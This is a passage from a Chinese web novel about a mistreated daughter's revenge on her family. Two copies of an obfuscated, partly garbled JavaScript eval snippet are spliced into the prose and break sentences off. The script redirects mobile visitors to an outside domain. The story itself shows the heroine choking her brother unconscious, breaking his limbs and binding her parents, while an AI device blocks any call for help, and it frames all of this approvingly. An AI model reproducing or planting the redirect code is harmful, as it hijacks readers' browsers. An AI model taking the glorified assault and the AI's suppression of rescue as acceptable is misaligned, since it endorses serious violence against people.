陆晨曦被逗笑：“不然呢？对皓月来说，这确实是区区两扇门。” 拉开铁门，崔皓月一拳砸向木门，拳头直接穿过厚实的门，把复杂门锁直接打坏。她将木门拉开，看向屋里，好朋友的话让她忍不住笑，她跟爸妈说话的语气也带着笑：“妈、爸，我大老远跑来探望你们，你们怎么不欢迎我？” 她走进玄关，看到呆滞地站在厅里的弟弟，他一脸惊恐，看她的眼神也像看一个怪物。 不过，晏北回是惊叹她有着堪比怪物的强大力量，羡慕她的本事，弟弟是把她当成披着人皮的恐怖怪物。 崔皓月不喜欢他的眼神，说：“你这样看我，会让我不高兴。”她望着深受父母疼爱的他，望着这个奶奶从小要求她爱护的弟弟，声音里的笑意消失了，“你要惹我生气吗？” 72.弟弟 情感是一种奇怪的波动，会随着场景不同而变化。 崔皓月曾有过担心，自己越过越好，越来越少想起奶奶、爸妈和弟弟，她对他们的恨意会不会随着时间的推移慢慢变淡？ 系统给予她金钱，陆晨曦、晏北回和陈若龙等人给予她温暖，软弱穷困的徐婷婷成长为如今的崔皓月。她变得坚强，不再为金钱感到困扰，不再对世界感到失望，不再对自我产生厌恶。她绽放光芒，变得勇敢自信，她是人群中的佼佼者，优秀到让学校、乡镇、市、村以她为荣。 人生顺遂，她愿意善待一切。 可是，在此刻，在看到弟弟的这一刻，崔皓月感觉到久违的恨在心中沸腾。 它早就在她心里扎根，那么尖刻，那么痛苦。 它会被淡忘，但它不可能消失，她又想起了绝望得试图回到过去杀死自己的幻想。 这种恨也是熟悉的、亲切的，使她安心的——太好了，她憎恨他们！太好了，她不是下贱的人，不会因为过得幸福就宽容对待这些折磨她的人！ 很高兴，所以崔皓月看着客厅里的弟弟，露出了发自内心的笑容，笑容之下是即将宣泄的满腔恨意。 在不明内情的弟弟看来，破门而入的崔皓月就像科幻恐怖电影里的怪物。 这个怪物用一种可怕的态度看他，犹如看一盘不好吃的菜，他马上便会触怒她，陷入非常凄惨的下场。 现在，这个力大无穷的怪物竟然朝着他开心地笑了！ 他的身体顿时不受控制地颤抖起来，整个大脑以前所未有的高速运转：怎么办？怎么办！这个怪物要怎么对付！ 她长得很眼熟。 她是他很少谋面的优秀姐姐。 她读书非常厉害，高考分数排名位列全省前三十，甚至上新闻。网上有一篇写她的新文章爆火了，引起很多人的关注，包括他。 昨夜他看了那篇文章，文章下的评论也一条不漏地看了，甚至他早上起床拿起手机的第一件事就是看文章新评论。 为什么他那么关注这个同父同母却陌生的姐姐？ 他不知道。 明明他从前对她不屑一顾，对她毫不在乎。 因为爸爸逼迫她辍学嫁人莫名其妙上了热搜，他被同学老师问起四五百元的球鞋，被问起是否同情老家的姐姐，被问以后会不会拿姐姐的彩礼娶老婆…… 那段时间他痛苦极了。 身边所有人都在提醒他，他在乡下的姐姐多么可怜，他的爸爸多么可恶，他作为既得利益者又是多么无耻。 他觉得他特别无辜，姐姐不是他生的，也不是被他丢到乡下生活的，怪他干嘛？ 他也是个孩子。 他连姐姐叫什么名字都没有印象，逼迫姐姐辍学嫁人的是他爸爸，骂他爸爸就够了，凭什么骂他？ 身为弟弟，所以他什么都错？ 他想到跳楼，死了就不会被大家谴责了。 当他从高处往下看去，地面那么遥远，要是摔下去死了，得多惨啊！ 万一没有当场摔死，或者残废了，那岂不是更惨？ 于是，他不想跳楼了。 可他要打电话跟妈妈说，妈妈那么担忧，她很关心他，他的委屈得到了些许安慰。 后来，热搜风波平息下来，然而被搅乱的生活已经回不到过去。 爸妈在家里吵架。 妈妈责怪爸爸搞出逼迫姐姐辍学嫁人这种事，爸爸责怪妈妈故意给姐姐起难听的名字，两人互相生气，气了一会儿一起骂姐姐没人性，是个贪得无厌的吸血鬼、讨债鬼。 过了一会儿他们又懊恼没有对姐姐好一点，说姐姐命好，攀上手眼通天的大人物…… 远在乡下读书的姐姐，虽然没直接介入他们的生活，但是她变得无处不在。 她究竟是一个怎样的人？ 弟弟开始好奇。 他没比她小多少岁，记得她来过家里，外表土里土气，畏畏缩缩的像个小老鼠，也不聪明，老是傻傻地被他锁在阳台上。 阳台没什么好看的，她非要去阳台干什么？ 看电视不好吗？ 她洗澡时他趴在门底下偷看过。 实话说，看是看不到一点的，可她害怕的样子真的很有趣。 在这个家，他才是最受宠爱的孩子。 爸妈最疼他，他的地位比姐姐高，姐姐休想留下来。她那么胆小，那么蠢笨，她就应该留在老家，跟奶奶一起生活。 不过，就算是奶奶，最疼爱的孩子也是他，不是姐姐，哈哈哈。 爸妈和奶奶的无条件支持，是他捉弄姐姐的底气。 他是弟弟，年纪最小，姐姐要让着弟弟。 讨人厌的姐姐没有在家里太久，她和奶奶走了，没有再来过。 过年时，他跟着爸妈回到那个特别偏僻特别遥远的山沟，他没欺负姐姐，甚至拿出饼干给她吃。 山沟是姐姐的地盘，他跟她没有太多的交流，她和爸妈也没有太多的交流。 她那么沉默，那么矮小，比他年长，个头却比他矮。 她穿着色彩暗淡的旧衣服，光着脚穿拖鞋，露出冻得指甲发紫、皮肤却红彤彤的可怜脚趾，一会儿端茶，一会儿扫地，一会儿做别的家务，忙前忙后。 当她空闲的时候，爸爸也好，妈妈也罢，都会给她找活干，使唤她。 她仿佛旧社会的丫鬟，而他是高贵的少爷。 大年初一，姐姐不穿拖鞋了，穿着一双橡胶裂开的帆布鞋，那么寒酸。 姐姐这么土，知道名牌鞋子吗？ 他伸出脚，示意姐姐看他的球鞋：“这是牌子货，要四五百块钱呢，我求了爸爸好久，他才肯给我买！你瞧，我的鞋好看吗？帅气吗？” 一边说，他一边得意地看姐姐的表情。 哇，她好羡慕我哦！ 她跟我同父同母又怎样？ 我才是爸妈最爱的那个孩子！ 舅舅舅妈疼我，姥姥姥爷也喜欢我！ 叔叔婶婶会去我家探望我，姑姑姑父给我买喜欢的礼物。 但是傻大姐，你什么都没有呢！什么都没有！你只是个丫鬟！哈哈！ 弟弟想着，笑了出来。 姐姐没跟他说话，只是沉默地低下头去，继续从红薯堆里挑选品相好的红薯，准备给他爸妈带到大城市吃。 她的沉默是难过吗？ 弟弟不知道，弟弟不在乎。 他不可能用高贵的干净的双手去碰触沾着泥土的红薯，轻轻嗤了一声，表达蔑视：“名牌你都认不出来，要我跟你说，你好土哦。” 说完，他一脚踢开滚到地上的红薯，昂着头离开了这个堆放红薯的阴暗杂物间。 他承认，乡下人种的红薯挺好吃，姐姐亲手挑的红薯味道不错。 又是过年的时候，弟弟跟着爸妈回到老家，只看见了奶奶，姐姐不在家。 奶奶说姐姐翅膀长硬了，攀上有钱人，不要他们了。 呀，她胆子这么大吗？ 没有姐姐的新年和以往差不多。 好吧，不算差不多，姐姐不在家里，妈妈喊他帮忙生火做菜，喊他帮忙择菜，他还要打扫布满灰尘的旧房间，其实挺累的。 再然后，他在“狠心父亲竟然逼迫即将高考的女儿辍学嫁人”的热搜里见到了姐姐。 她那么可怜，全网的人都同情她，他这个无辜的弟弟则变成了人人喊打的反派。 爸妈说她真的攀上大人物了，热搜是大人物为她出头。 弟弟忽然记住了爸妈随口说出的姐姐的新名字——崔皓月。 现在她改名改姓，她叫崔皓月。 那么，被大人物看上的她，还像从前一样土气且畏缩吗？弟弟在网上搜到姐姐的学校，特地看了入学录取分数线，虽然是小地方的高中，要求却不低，应该是好学校吧？ 学校网页缺乏维护，在学校的贴吧里，他看到别人贴出的校运会照片，姐姐是上台领奖的第一名。 女大十八变，她从丑小鸭变成美丽的白天鹅。 高考成绩出来，学校网页特地贴出她的成绩和照片，她那么优秀，在七十多万考生中脱颖而出，位列全省前三十名。 这是弟弟没有信心考出来的成绩。 别说全省前三十，就算是全市前三十、全年级前三十，他都没有信心考到。 原来她读书那么厉害。 但爸妈和奶奶从来都没提过，他们不关心她吗？ 优秀的人谁不想接近呢？ 弟弟觉得姐姐有资格跟他做真正的姐弟了，他愿意承认她是他的亲姐姐，他想和她好好相处。 如果爸爸逼她嫁人，他会劝说爸爸放弃，请爸爸支持姐姐读大学。 只是，姐姐怎么会忽然出现在家里？ 如同披着人皮的恐怖怪物，爸妈见到她立刻吓得躲回家。 她力大无穷，三两下就拆散了家里的两扇门，如同入门抢劫的暴徒。他毫无准备，猝不及防地与她见面。 那么可怕，那么陌生的姐姐。 他要怎么对付她？用怎样的态度，他才能安全地与她相处？弟弟的掌心被冷汗湿透，干涩的喉咙发不出任何声音。 好害怕！ 该死的爸妈，逃命不带他，留下他独自面对怪物般狰狞的姐姐。 啊！怪物走向他了！ 快想办法解决啊，该死的大脑！ 姐姐那么聪明，他跟姐姐同父同母，为什么他这么笨！ 人在面对危险的时候会陷入呆滞，弟弟不敢逃跑，眼睁睁地看着崔皓月越走越近。 她仿佛死神。 对崔皓月来说，弟弟的恐惧意味着心虚。 她徒手破坏了两扇门，好朋友不怕她，嘻嘻哈哈的，对她没有一丝畏惧。 因为她们从来不亏待她，认为她不会伤害她们。 而弟弟，他知道他过去没有好好对待她这个姐姐，他担心她报复他。 反过来说，他一直都明白，他的所作所为会引起姐姐的憎恨，可是他不在乎。爸妈和奶奶对他的偏爱，令他有恃无恐地欺负她，一旦她反抗，爸妈和奶奶会教训她。 所以，他为什么要在乎她的感受呢？ 于他而言，她是爸妈和奶奶送给他的玩具。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871979|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个有血有肉的、会说话的、能交流的、被称作姐姐的活人玩具。 他从来都没有想过，软弱胆小的姐姐会变得这么强势冷漠，偏爱他的爸妈和奶奶会无法庇护他，他向姐姐倾泻的恶意会在今天将他淹没。 没有系统提示，不必做题，崔皓月朝弟弟高高地扬起手，一巴掌重重地落下去。 这是她一直想做的事情。 “啪！” 这是巴掌扇在弟弟脸上的声音，那么响亮，那么悦耳。 弟弟刚起床，才洗过脸，脸上还带着些许残留的潮湿水汽。 他的皮肤并不油腻。 崔皓月感受着巴掌落在他脸上的触感，心想：打他的脸好过打张浩文的脸，不用洗手，不会被脸上的油腻触感膈应好久。 张浩文真可恶啊。 他就不能把他的脸洗干净一点吗？ 他太过邋遢了，每次想起他，她都忘不了扇他一巴掌时感觉到的油腻。 别想肮脏的张浩文了，崔皓月收回巴掌，打量着惊恐的弟弟。 他的身材比较瘦弱，个子没有她高，他的手很干净，不像她那样有很多细小的伤疤。 她童年要干活，奶奶不关心她，她总会弄出各种各样的伤。 左手大拇指有砍柴砍伤的月牙形状疤痕，流了很多血，没有看医生，也没用药，就那样慢慢等着它痊愈。大拇指和食指之间也有一个非常明显的疤，崔皓月不记得它是怎么来的了，别的伤疤也都忘了。 班级搞卫生，她不小心被窗户挤到右手中指，青了一片，没流血，很痛。晏北回和陆晨曦吓坏了，立刻拉着她去校医室治疗，她觉得她们的反应有些夸张，又忍不住感动。 痛了受伤了应该立刻治疗，而不是假装坚强地忍耐伤痛的折磨，凭此换取家长难得一见的温柔对待，让家长对自己的“懂事不操心”感到满意。 凭什么啊！ 崔皓月有些心酸，眼睛微微湿润。 爸爸是奶奶抚养长大的，他难道不知道奶奶是怎样的一个人？ 还没成年他就迫不及待地逃离奶奶，奔向世界。 他明知奶奶不慈祥，他还是把她交给奶奶。 正如他明知妈妈给她起的名字那么恶毒，他还是同意她起名徐婷婷。 如果他对她有一丝爱，她会叫“停止生女儿”的婷婷吗？ 不会！ 爸爸才是造成她灰暗人生的罪魁祸首。 在大城市的家，他是一家之主，妈妈给她起婷婷这个名字是他支持的决定，将她扔回老家交给奶奶抚养也是他的决定。 在乡下老家，奶奶没有收入，仰仗他孝顺才有钱花，他在老家的话语权其实很大。他支持奶奶吝啬对待她，他纵容奶奶参与赌博，他在老家也是一家之主。 但凡他在意她，哪怕只有一点，奶奶都不会那样对她。 凭什么弟弟生下来就能得到所有人的爱？崔皓月含着泪扬起手，又一巴掌扇在他的另半张脸上，力气非常大，把弟弟的牙齿都扇得掉了。 他不敢置信地吐出嘴里带血的牙，发出尖叫声，那么聒噪，那么吵闹，令人非常厌恶。 “为什么不安静一点？” 崔皓月伸手揪住他的衣领，膝盖向上一顶，击中了他的肚子。 他顿时蜷缩起来，叫声更大，更让人烦。 又是这样。 在过去，他跟她玩，稍有不如意就大吵大闹、大喊大叫。然后爸妈和奶奶闻声而来，认为她欺负弟弟，问都不问事情的经过就惩罚她、严厉地教训她。 她明明什么错都没有犯，为什么她会遭到责罚呢？ 都是因为弟弟。 都是因为他。 他太吵了，太不懂事了。 当年她畏惧爸妈，畏惧奶奶，不敢收拾他。 现在她不会感到畏惧，崔皓月一拳揍在他脸上，打歪了他的鼻子，轻声说：“不要喊，也不要叫，因为我不喜欢。” 不喜欢会怎样？ 挨揍的疼痛充盈整个大脑，弟弟呜咽着，用尽全力也挣不脱她的桎梏。 爸妈害怕地逃走了，丢下他独自一人面对怪物般暴戾的姐姐，没有人来救他，没有人来阻止姐姐报复他。 他必须乖乖听话，不然…… 这个能够轻易破开两扇门的姐姐怪物，将会残忍地撕碎他。 从前，他把她锁在阳台上，偷看她洗澡，向她炫富，如今他遭到了命运的报应。 欺负她的他没想过与她友好交流，怎能幻想前来报复的她会跟他友好交流？ 鼻血和鼻涕流了出来，他感觉到冰冷的液体滴落在身上，那么鲜明。 那是姐姐怪物的泪。 崔皓月揭开心底血淋淋的伤口，它已经发炎流脓，处理它是一种非常痛苦的体验。 可它得到治疗，疼痛很快就会消失，伤口马上能愈合。 随着泪水落下的，是崔皓月充满了发泄意味的拳头。她要揍他，揍这个受尽偏爱还向她炫耀个不停的恶心弟弟，揍这个爸妈和奶奶捧在掌心的宝贝。 她得不到的，别人应有尽有，她不平衡，她恨。 73.接手家产 都是一个爸妈的孩子，凭什么他能穿着五百多块的球鞋炫耀爸爸有多疼爱他，她却穿着二十块钱帆布鞋，非要磨损到不能穿的程度才可以换新的？ 都是一个爸妈的孩子，凭什么他生下来能喝几百块一罐的奶粉，在大城市里享受保姆的照顾，她却被丢回老家喝米汤长大？ 恨意并没有随着挥向弟弟的拳头消失，反而越发浓烈。 崔皓月想到自己十七岁时的身高不足一米五，弟弟竟然比她高一个头，她不禁深思，是不是她在婴儿时期得到的营养远比弟弟少，她才会比他矮那么多？ 奶奶那么吝啬，连买月经用品的钱每个月都只舍得给十块，怎么会给她买奶粉？ 反正喝米汤也能活，饿不死。 她能想象到奶奶理直气壮的语气：“喝米汤怎么了？你爸小时候连米汤都没得喝，饿得哇哇叫，不还是长大了？” 但爸爸是八零后，她出生在2007年9月。 凭什么她吃过的苦弟弟没有吃？ 凭什么她的人生充满了灰暗，弟弟却能在爱意中长大？ 凭什么弟弟能天天喝牛奶吃鸡腿，富足到把过年的鸡腿扔给狗吃，她只能惋惜地看那个鸡腿被狗叼走，等着爸妈和弟弟离开老家才能品尝被遗弃下来的半盒牛奶？ 偏爱就像无处不在的空气，爸妈和奶奶总是把最好的给弟弟，她得到的，全是弟弟不屑的残羹剩饭。 甚至连残羹剩饭也不配得到。 弟弟，为什么不去死？ 爸妈和奶奶，为什么不下地狱受折磨？ 崔皓月扼住弟弟的咽喉，平静看着他被揍成猪头的脸因缺氧而变得更痛苦，他的眼球不由自主地凸出，望向她的目光里充满了求生欲和乞求。 他想活。 他在乞求她放过他。 可是，爸妈和奶奶从来不肯放过她。 “皓月！”好朋友晏北回在叫她，“你冷静点，你是玉石，他是碎瓦片，他不配你赔上自己！” “崔皓月！徐婷婷！快放开你弟！”妈妈李金凤大喊，声音里带着哭腔，“他是你弟啊！你的亲弟！你怎么能这样对他！” “别拦着我，小姑娘，不然我跟你动起手，吃亏的是你！”徐峰色厉内荏地说。 “来，我不怕你。”陆晨曦说，“皓月教训弟弟，轮得到你这个臭老登插手？要插手，先过我了这关再说！” 世界是嘈杂的，她很安静，弟弟也安静极了。 不过，她不想吵闹，弟弟是被她控制住，才发不出声音。 他快要死了。 现在他看起来既丑陋又可怜。 崔皓月想，如果她可怜这个自认为无辜的既得利益者，谁来可怜过去的徐婷婷？ 虽然徐婷婷成为崔皓月，一颗伤痕累累的心变得坚强自信。 她不需要任何人可怜。 但徐婷婷得不到的可怜终究是得不到之物，依然让现在的她难以释怀。 毕竟徐婷婷是如今的崔皓月，崔皓月也是过去的徐婷婷，她无法淡忘那段灰暗的人生，无法漠视曾经的自己。 弟弟陷入昏厥了，崔皓月缓缓松开手。 她听得到他的心跳，听得到他的脉搏在颤动。 不慌不忙地，她唤醒他。 他发现他没死，目光透露出欣喜。 然后，他看到她，感觉到她的手再次扼住他的咽喉。 “知道吗？”崔皓月靠近他，声音很小，“你把我关在阳台上，我像你现在一样无助。如果阳台没有被不锈钢防盗网封死，我可能会爬出去，试图找一条离开阳台的路。” 十二岁的她，第一次来到城市，对高处并不畏惧。 她爬过十几米高的树，为了摘树顶的果实，为了模仿落在树顶歌唱的鸟儿；她爬过几十米高的悬崖，为了悬崖上盛开的一丛花，为了站在悬崖上俯视大地。 从来没有人告诉她，高处是危险的。 爬树爬山是她为数不多的娱乐。 她习惯了空旷开阔的山林，安装防盗网的阳台就像一个钢铁笼子。 电视是弟弟的，大城市的娱乐不属于她。为了打发无聊，她在笼子里遥望笼子外繁华的大城市，向往高远的天空，想念能够自由自由奔跑的原野，羡慕马路上来来去去的车子。 眼泪又流了下来，崔皓月控制住弟弟的呼吸，维持着平静：“那时我来到这里，被你锁在阳台上，又急又害怕，却不敢求助。奶奶在厅里，妈妈在厨房，你哈哈笑。她们任由我被困，她们都是你的帮凶，用行为支持你欺负我。” 她们选择站在恶毒弟弟身边，无情地抛弃了她。 她自以为的家，竟然是一个让她彷徨、让她恐惧的地方。 哭泣使崔皓月的声音变调，她哽咽着说：“我恨你们！我恨你！恨你们！” 五指收紧，弟弟发出细细的气音，面色发紫，这是迟到六年的报复。 陆晨曦制住徐峰，晏北回按住李金凤，光脑控制着小区内的所有讯号，杜绝所有试图为恶人寻找援助的“好心人”。 于是，无人阻止崔皓月为十二岁徐婷婷出气。 十二岁的徐婷婷被困在阳台几次呢？ 崔皓月的记性不太好，记不得了。 她不耐烦压制弟弟，抓住他的手轻轻一折，他猛地颤抖一下，鼻涕眼泪糊在脸上，丑陋无比。 看到这一幕的李金凤破口大骂：“你还是不是人？徐婷婷，你这个孽种！我当初怎么没把你打了！我就不该让你活下来！” “哈，没有皓月，你生得出儿子？”晏北回嗤笑道，“打掉皓月，你怀不了，生不出，一辈子都不会有孩子！你儿子欺负皓月，你是个瞎子聋子。皓月教训一下弟弟，你心疼成这样，真是够偏心的。” 陆晨曦已经把徐峰绑起来，仿效电影拍的剧情，用臭袜子堵住他的嘴巴。 她拍了拍手，站起来，笑着说：“有道是，打在儿身，疼在娘心。皓月听到了吧？你妈从前不心疼你，现在你专程来探望她，你得努力些，让你妈为你感到心疼。” “好主意！我赞同！晨曦快来帮我！”晏北回比较善良，“给我个毛巾堵住她的嘴巴，绳子麻烦给我递一下，然后……我不太会绑人，你帮我绑住她。” “救命！来人啊！有人绑架！”见到陆晨曦真的拿出绳索，李金凤吓得尖叫，“你们这样是犯法的！有没有人听到我的话？快报警！救命！” 使用液体金属载体的光脑变成一个精巧的特殊仪器，将所有动静封锁在房子里，李金凤的尖叫没有惊扰到任何邻居。 正在教训弟弟的崔皓月转过头看李金凤，泪水模糊了她的眼，她用手臂随便擦了一下，对妈妈说道：“我被弟弟锁在阳台上，你一点都不着急，现在急什么？” 也许，在李金凤看来，被锁在阳台上是小事一桩。 但十二岁的徐婷婷受不了。 换个角度吧，在崔皓月看来，弟弟太顽劣了，教训他是她这个姐姐应尽的责任。 李金凤也没有被怎么着，怎么就受不了呢？ 她那么疼爱弟弟吗？ 让她再心疼点，给她尽情展示母爱的机会好了。 崔皓月这样想着，松开了弟弟，当着李金凤的面擦干净弟弟的脸，然后一巴掌打在他脸上，询问李金凤：“感觉怎么样？再来一巴掌？” 李金凤恨恨地瞪着她，对她感到恐惧。 “再来一巴掌。”崔皓月不想哭了，立刻实践所说的事。 弟弟挨了打，茫然地望着她。 他的面目已经变成自己都认不出的模样，听话地忍耐疼痛，可怜地乞求她放过自己，眼睛里满是对她的恐惧。 显然，他不是坚韧的人。 姐姐强悍，他便臣服在姐姐脚下，希望姐姐宽待他，饶恕他。 崔皓月看不起他，对他失去了兴趣。 晏北回说得对，她是玉他是瓦，他不配她花太多心思。 她抬手，卸了他的四肢关节，走向徐峰。 徐峰看得到儿子的下场，发现女儿靠近自己，连忙用力挣扎，试图获得自由，逃离危险的崔皓月。绳子绑得太牢，他无法挣脱，于是他用严厉的眼神恐吓崔皓月。 都被绑住了，还要对她耍爸爸的威风？ 崔皓月两巴掌扇下去，徐峰立刻认清现实。 他的眼神变得软弱可怜，请她放过自己，他愿意做个疼爱女儿的好爸爸。 回应他的还是两巴掌。 崔皓月没有心情跟他交流，对两个好朋友说：“家里的东西全都挂到二手市场吧，便宜卖掉，我拿八成，剩下两成你俩平分。” “怎么估价？”晏北回环视客厅，发愁了，“我不知道价钱。” “拍照上传二手市场app就能得到系统的估价。”陆晨曦已经跟光脑交涉妥当，“我们是让买家上门取货还是寄快递出去？” “叫快递公司派人来打包收货。”崔皓月把徐峰拖进房间，关上门。 晏北回拍了电视机，app果然给出估价，并贴心地推荐同城买家，一桩交易迅速达成。她看着交易详情，有些不安：“我们这样做会不会引起麻烦？” 大城市可不是她们的地盘，陆晨曦家的生意应该没做到这里来，关系大概是没有的。 “不必怕，皓月在呢。”陆晨曦安慰她，“皓月卖掉家里不需要的东西换点钱花花，能引起什么麻烦？” “可是……”晏北回看了看紧闭的房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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弟弟的手骨折了，鼻子歪了，畏畏缩缩的。她的目光扫过，他不由自主地颤抖起来，瑟缩得像个见到猫的老鼠。 徐峰眼神呆滞，脸颊肿胀，鼻下两道干涸的鼻血，眼眶青黑发紫，门牙没了两颗。注意到崔皓月在看他，这个逼迫十七岁女儿辍学嫁人的爸爸蒙住脸面，往妻子身后缩，不敢面对女儿。 李金凤脸上有两个清晰的巴掌印，她踹了徐峰一脚，不愿意接纳他。 “滚出去。”崔皓月指着门对他们说道，“这里是我家，我不欢迎你们。你们最好躲远点，不要让我看到你们，否则我会不高兴。” 放屁！这里明明是他们的家！ 一家三口不敢言，亦不敢表达愤怒，一个比一个老实地滚出去。 挨过崔皓月的痛打，他们都知道他们惹不起她。 在门外，李金凤回过头，看着强势霸道的崔皓月，说：“你拿到房产证又怎样？房子是我和你爸买的，我们不同意，你难道能卖掉房子？你是你奶奶的养女，不是我们的女儿！我们只有一个孩子！下了楼我就报警！” 崔皓月笑了：“我怎么不能卖掉？我背后有人，无需你们同意也能卖掉房子。担忧我不如担忧你们自己，没有钱，没有手机和身份证，你们今晚打算住在天桥底下？” 去年那个寒夜，无家可归的徐婷婷独自在河岸舔舐伤口。 今时今日，幸福的一家三口也没有家了，他们将要开始幸福的流浪生活。 “哈哈！”崔皓月笑出来，沉声呵斥，“还不快点滚！” 没有能力跟她斗，一家三口憋屈地走楼梯下楼，与前来看房子的买家擦肩而过。 被驱逐之后，熟悉的小区仿佛变得陌生。 李金凤看了一眼依然呆滞的徐峰，感觉他靠不住，便拿起主意：“我们先去报警。” “吱~” 天上忽然飞过一只鸟，热乎乎的一泡鸟粪落在李金凤头上。 与此同时，一盆花从天上坠落，擦着徐峰的肩膀摔碎，将一家三口吓了一跳。 “谁这么缺德！”李金凤脸色难看地抹去鸟粪，抬起头寻找高空抛物之人，然而十几层的楼房，如何寻找肇事者？ 徐峰不呆滞了，叫道：“报警！必须报警！” 不远处，一个骑自行车的男人忽然接近他们，把挡在路上的徐峰撞倒，骑车的男人也被绊倒。 徐峰恼怒地爬起来，要对方赔偿损失，却发现男人特别高大，胆气一下子弱了。 从鸟粪淋头开始，一家三口遇到各种各样的意外。 命运仿佛刻意针对他们，直到他们放弃了报警，他们的运气才恢复正常。 而崔皓月与来看房的买家达成一致，在接下来的几天里办完过户，成功卖掉两个房子，所得的钱交给善于理财的陆晨曦代为打理。 现在，崔皓月是有钱有房子的人。 晏北回很羡慕：“我得什么时候才能拥有自己的资产？”给妈妈发消息，“皓月去深城探望她爸妈，她爸妈觉得她有出息，直接给她一座房子，对她真的太好了。” 74.为她好 对于晏北回的暗示，她妈妈说：“北回，我们家的情况跟别人不一样，你不要乱攀比。”责怪完女儿不懂事，妈妈开始挑剔她的不足，“而且，人家考到全市第二，在省内也是前三十名，你有别人那么优秀吗？” 妈妈这PUA的本事真厉害，晏北回不由得感叹。 要是从前的她，看到妈妈的发言肯定会反思，觉得自己不优秀。但她已经学会分析妈妈的话，揣测妈妈想表达的东西，不会傻傻地被妈妈牵着走。 她回复妈妈：“人人都知道我们家里藏着一个偷拍犯，咱家确实跟别家不同。” “你是不是想气死我？”妈妈立刻变得恼怒起来，“你弟弟犯了错，答应改过，你就不能做个宽容点的好姐姐？” “我怕他又偷拍。”晏北回直言不讳，“他改过了，他犯的错就不存在吗？弟弟是人尽皆知的偷拍犯，我就算比现在优秀一百倍，别人会怀疑我的品格，觉得我不是可靠的人！妈，弟弟毁了我的名声！他毁了我们家的家风！” 家庭亲戚圈子是很小的，弟弟偷拍被曝光，爷爷很快知道偷拍是一种怎样的罪行，觉得丢了面子，扬言要将弟弟逐出家门。 当然，弟弟最后没有被逐出家门，可爷爷对弟弟的态度已经不像从前那样了。 微信上，妈妈没有再回复。 晏北回重看聊天内容，脸上露出冷笑。 如何对待家长发表的PUA言论？ 不要反驳，要攻击，狠狠戳其痛点，令其破防。 家长生气怎么办？ 不要怕，先让家长气一会儿，再哄一下家长，嘴巴甜一点，表现乖点，家长一般会原谅的。 懒得说甜言蜜语哄妈妈，晏北回定了一束鲜花送给妈妈，在鲜花送达之前告诉妈妈：“我希望我们家尽快摆脱不好的影响，妈，我像你一样盼着弟弟知错能改。” 妈妈没有回复，她还在生气。 晏北回也不在乎，说：“我订了花给你，妈，我爱你！” 送花是浪漫，妈妈从来没收过花，很快回复了：“花了多少钱？都说了钱别乱花，你这孩子怎么不听？” “妈，我只是希望你开心。”晏北回说，“皓月的爸妈给了她房子，她高兴，给我发了一个红包。” “她对你挺好，你要跟她好好相处。”妈妈说，“你们一起旅游，你偶尔帮她拿行李，要让她觉得红包给你是值得的。” “我明白。”晏北回敷衍着，看向泳池里戏水的两位朋友。 她们从来都是自己的事情自己做，妈妈教她做跟班，可她跟她们是最好的朋友。 陆晨曦挥手招呼她：“下来了，聊完没有？” 晏北回连忙把手机放好，笑着答道：“来了！”像个炮弹一样砸进水里，闹得陆晨曦和崔皓月作势给她个教训。 吃喝玩乐体验了个遍，三人离开深城，北上京城。 从网红奶茶店到古诗中的西湖，从纸醉金迷的繁华都市到六朝古都，她们拍了很多照片，见了很多陌生人，增长了阅历，皮肤也比出门前黑了。 “健康的小麦色！”晏北回做出秀肌肉的动作，“姐妹们，我帅不帅？” 崔皓月和陆晨曦都笑了。 此时已是八月下旬，经过陆鸿等人的努力，取名“为她好”的高科技月经用品正式上架销售。虽然产品质量过硬，不愁没有销路，但陆妈妈还是花钱做了推广，一边在超市、小商店铺货，一边开设网店，为全国各地的网友提供购买渠道。 能做月经用品推广的当然是女性，收到高科技月经用品时，她们不以为意。月经用品行业利润极大，大大小小的品牌不计其数，“为她好”这样一个新出的小牌子，接了广告她们都担心产品质量差，坏了自己的名声。 不过，有钱不赚是傻瓜。 推广小品牌卫生巾不一定要亲自试用，拆开展示一下，讲些轻薄透气、吸收率高等卫生巾应有的优点，号召大家掏钱购买就行了。 艾莉便是一个接到推广的网红，她准备直播，助手拿着拆开的卫生巾进来了：“姐，这个卫生巾很奇怪。” “咋了？”助手是艾莉的亲表妹，她转头看去，发现卫生巾很薄，眉头顿时皱了起来，“又是偷工减料的卫生巾？” “它很软！”表妹说，“材质好特殊！我有点想试用。” “小厂生产的，你也敢用？”艾莉接过卫生巾，“扇形尾翼，设计挺好的，但棉花含量几乎没有，能用吗？这让我怎么卖？” 她有些后悔接下这次推广了。 艾莉是会赚钱的厉害表姐，表妹看她脸色，对卫生巾也失去了好感，小声说：“把钱退给人家？” “怎么可能？”艾莉才不会把进了自己口袋的钱还出去，“你打电话问一下厂家是不是寄错样品了，如果他们没寄错，那我只能如实展示他们的产品了。” 于是表妹打电话询问，接电话的是个中年女人，说话不慌不忙：“没寄错，我们生产的卫生巾采取高科技材料，一旦上市销售，将会轰动全世界。你们可以测试一下吸收率，绝对不会失望！” 电话外放，艾莉听得面色微妙，感觉“为她好”这个厂家像个离谱的传/销组织。 什么高科技材料，什么轰动全世界，这说话的口气未免太大。 表妹用眼神问艾莉：退钱还是硬着头皮推广？ 艾莉接过电话，跟代表厂家的女人说：“我们将会如实展示你们的产品，展示所产生的后果与我们无关，你能接受？” “能，尽管展示。”对方信心十足，“你将会为我们的产品惊叹，成为我们的忠实客户。” 为卫生巾的劣质惊叹吗？艾莉谨慎地说：“我需要你们签署一份免责协议。” 对方答得轻易：“ok，文件发来。” 签过文件后，艾莉放下心来，她拿起柔软的卫生巾，感觉它确实有点技术含量。 无论是柔软无比的材质还是扇形尾翼设计，如果含棉量合格，生产过程安全卫生，没准她愿意亲自试用一下。 可惜了，不含棉的小厂卫生巾不可信。 